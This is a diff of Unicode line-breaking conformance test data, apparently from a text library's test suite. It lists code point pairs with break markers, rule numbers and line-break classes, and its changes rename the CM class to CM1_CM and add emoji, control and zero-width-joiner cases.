+× 0009 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0009 ÷ 05D0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0009 × 0020 ÷ 05D0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0009 × 0308 ÷ 05D0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0009 × 0308 ÷ 05D0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0009 × 002D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0009 × 0020 ÷ 002D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0009 × 0308 × 002D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 002D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0009 × 0308 × 002D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 002D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0009 ÷ 231A ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 0009 × 0020 ÷ 231A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0009 × 0308 ÷ 231A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 231A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0009 × 0308 ÷ 231A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 231A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0009 ÷ 2024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0009 × 0020 ÷ 2024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0009 × 0308 ÷ 2024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0009 × 0308 ÷ 2024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0009 × 002C ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [13.02] COMMA (IS) ÷ [0.3]
× 0009 × 0020 × 002C ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0009 × 0308 × 002C ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0009 × 0308 × 0020 × 002C ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0009 × 0308 × 002C ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0009 × 0308 × 0020 × 002C ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0009 ÷ 1100 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0009 × 0020 ÷ 1100 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0009 × 0308 ÷ 1100 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0009 × 0308 ÷ 1100 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0009 ÷ 11A8 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0009 × 0020 ÷ 11A8 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0009 × 0308 ÷ 11A8 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0009 × 0308 ÷ 11A8 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0009 ÷ 1160 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0009 × 0020 ÷ 1160 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0009 × 0308 ÷ 1160 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0009 × 0308 ÷ 1160 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0009 × 000A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0009 × 0020 × 000A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0009 × 0308 × 000A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0009 × 0308 × 0020 × 000A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0009 × 0308 × 000A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0009 × 0308 × 0020 × 000A ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0009 × 0085 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0009 × 0020 × 0085 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0009 × 0308 × 0085 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0009 × 0308 × 0020 × 0085 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0009 × 0308 × 0085 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0009 × 0308 × 0020 × 0085 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0009 × 17D6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0009 × 0020 ÷ 17D6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0009 × 0308 × 17D6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0009 × 0308 × 17D6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0009 ÷ 0030 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 0009 × 0020 ÷ 0030 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0009 × 0308 ÷ 0030 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0009 × 0308 ÷ 0030 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0009 ÷ 0028 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0009 × 0020 ÷ 0028 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0009 × 0308 ÷ 0028 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0009 × 0308 ÷ 0028 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0009 ÷ 0025 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 0009 × 0020 ÷ 0025 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0009 × 0308 ÷ 0025 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0009 × 0308 ÷ 0025 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0009 ÷ 0024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0009 × 0020 ÷ 0024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0009 × 0308 ÷ 0024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0009 × 0308 ÷ 0024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0009 × 0022 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0009 × 0020 ÷ 0022 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0009 × 0308 × 0022 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0009 × 0308 × 0022 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0009 × 0020 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [0.3]
× 0009 × 0020 × 0020 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0009 × 0308 × 0020 × 0020 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0009 × 0308 × 0020 × 0020 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0009 × 002F ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0009 × 0020 × 002F ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0009 × 0308 × 002F ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0009 × 0308 × 0020 × 002F ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0009 × 0308 × 002F ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0009 × 0308 × 0020 × 002F ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0009 × 2060 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0009 × 0020 × 2060 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0009 × 0308 × 2060 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0009 × 0308 × 0020 × 2060 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0009 × 0308 × 2060 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0009 × 0308 × 0020 × 2060 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0009 × 200B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0009 × 0020 × 200B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0009 × 0308 × 200B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0009 × 0308 × 0020 × 200B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0009 × 0308 × 200B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0009 × 0308 × 0020 × 200B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0009 ÷ 1F1E6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0009 × 0020 ÷ 1F1E6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0009 × 0308 ÷ 1F1E6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0009 × 0308 ÷ 1F1E6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0009 ÷ 261D ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0009 × 0020 ÷ 261D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0009 × 0308 ÷ 261D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 261D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0009 ÷ 1F3FB ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0009 × 0020 ÷ 1F3FB ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0009 × 0308 ÷ 1F3FB ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0009 × 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0009 × 0020 ÷ 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0009 × 0308 × 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0009 × 200D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0009 × 0020 ÷ 200D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0009 × 0308 × 200D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 200D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0009 ÷ 00A7 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0009 × 0020 ÷ 00A7 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
